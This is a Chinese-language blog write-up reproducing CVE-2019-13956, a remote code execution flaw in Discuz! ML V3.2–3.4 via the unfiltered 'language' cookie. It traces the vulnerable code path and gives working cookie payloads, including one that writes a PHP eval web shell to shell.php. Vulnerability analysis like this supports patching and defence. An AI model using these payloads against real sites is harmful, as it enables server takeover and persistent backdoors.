zoukankan      html  css  js  c++  java
  • Discuz! ML远程代码执行(CVE-2019-13956)

    Discuz! ML远程代码执行(CVE-2019-13956)

    一、漏洞描述

    该漏洞存在discuz ml(多国语言版)中,cookie中的language可控并且没有严格过滤,导致可以远程代码执行。

    二、漏洞影响版本

    Discuz! ML V3.2

    Discuz! ML V3.3

    Discuz! ML V3.4

    三、漏洞环境搭建

    1、 官网下载Discuz! ML V3.4,下载地址: http://discuz.ml/download

    2、 将压缩包解压到phpstudy网站根目录,浏览器访问upload目录开始安装

      

    3、然后就是一直点击下一步就可以了,直到完成安装

      

    四、漏洞复现

    1、漏洞存在的位置/upload/source/module/portal/portal_index.php,使用template函数处理’diy:portal/index’,然后使用include_once包含

      

    2、跟进template函数,发现把DISCUZ_LANG函数拼接成为一个缓存文件名,然后又返回了缓存文件名

      

    3、跟进DISCUZ_LANG函数,发现从cookie中取language的值给$lng

      

    4、继续浏览代码,发现把$lng的值赋给DISCUZ_LANG了

      

    5、到此为止,整个漏洞分析过程已结束,过程如下:

    外部参数$lng(即cookie中的language语言)可控,导致DISCUZ_LANG函数获取$lng,然后拼接成缓存文件并且返回了缓存文件名,导致template函数生成的缓存文件名可控,插入自己的代码,最终include_once函数包含一下导致了代码注入(执行了插入恶意代码的缓存文件名)。

    6、测试漏洞,随便点击一个页面,抓包,将Cookie中的xxx_language参数值改为’.phpinfo().’,发现成功执行了代码

      

    7、查看缓存文件,发现缓存文件名被修改如下

      

    8、getshell

    8.1尝试上传一个shell,构造payload,如下:

    '.file_put_contents('shell.php','<?php eval($_POST[cmd]);?>').'

    执行提示错误,可能是编码的原因

      

    8.2、尝试对payload进行全部编码,失败,只有使用如下payload才能成功

    %27.+file_put_contents%28%27shell.php%27%2Curldecode%28%27%253c%253fphp+%2520eval%28%2524_%2550%254f%2553%2554%255b%2522cmd%2522%255d%29%253b%253f%253e%27%29%29.%27

      

    8.3、查看是否成功上传shell.php,发现成功上传

      

    8.4、菜刀连接

      

    ----------------------------------------------------------------------------------------

    工具检测:https://github.com/theLSA/discuz-ml-rce

    参考: https://mp.weixin.qq.com/s?__biz=MzU2NDc2NDYwMA==&mid=2247483944&idx=1&sn=ba9f6f99967e31fd56634f714d8ae650&scene=21#wechat_redirect

  • 相关阅读:
    Gitlab 自动化部署 + 局域网访问 gitlab pages
    Gitlab 跨版本升级
    Gitlab 私有化管理 npm 包
    Postman-请求加密和设置 Cookie
    menuStrip鼠标滑过自动弹出
    JAVA实用案例之文件导入导出(POI方式)
    springboot npoi 合并单元格 之后设置单元格居中
    postman测试导出Excel接口
    Application.DoEvents()的作用
    设置WINFORM窗体及程序图标
  • 原文地址:https://www.cnblogs.com/yuzly/p/11386755.html
Copyright © 2011-2022 走看看